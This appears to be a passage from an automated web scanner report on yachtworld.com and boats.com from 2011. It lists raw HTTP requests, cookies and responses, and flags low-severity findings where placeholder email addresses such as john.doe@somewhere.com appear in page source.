VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:00:18 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 10 Dec 2010 20:05:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:00:18 GMT Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<t ...[SNIP]... <br/> Please Contact Joseph Colon Office:732-899-2500 ext. 205 Cell:732-829-1822 E-mail: joec@comstockyachtsales.com or AIM/instant message: joec@comstockyachtsales.com </td> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:16 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:06:23 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>b ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/ HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:53:21 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:07:27 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>b ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/California/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:52:42 GMT Server: Apache Cache-Control: private Content-Language: en-US Set-Cookie: ene_results_count=30; path=/; expires=Tue, 14-Feb-2079 23:06:49 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
<title>B ...[SNIP]... string represents an atom (basically a series of non-special characters.) */ var atom=validChars + '+' /* The following string represents one word in the typical username. For example, in john.doe@somewhere.com, john and doe are words. Basically, a word is either an atom or quoted string. */ var word="(" + atom + "|" + quotedUser + ")" // The following pattern describes the structure of the user var ...[SNIP]... <i>youremail@boats.com</i> ...[SNIP]...
The following email addresses were disclosed in the response:
john.doe@somewhere.com
youremail@boats.com
Request
GET /boats/category/type/builder/model/United+States/Connecticut/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
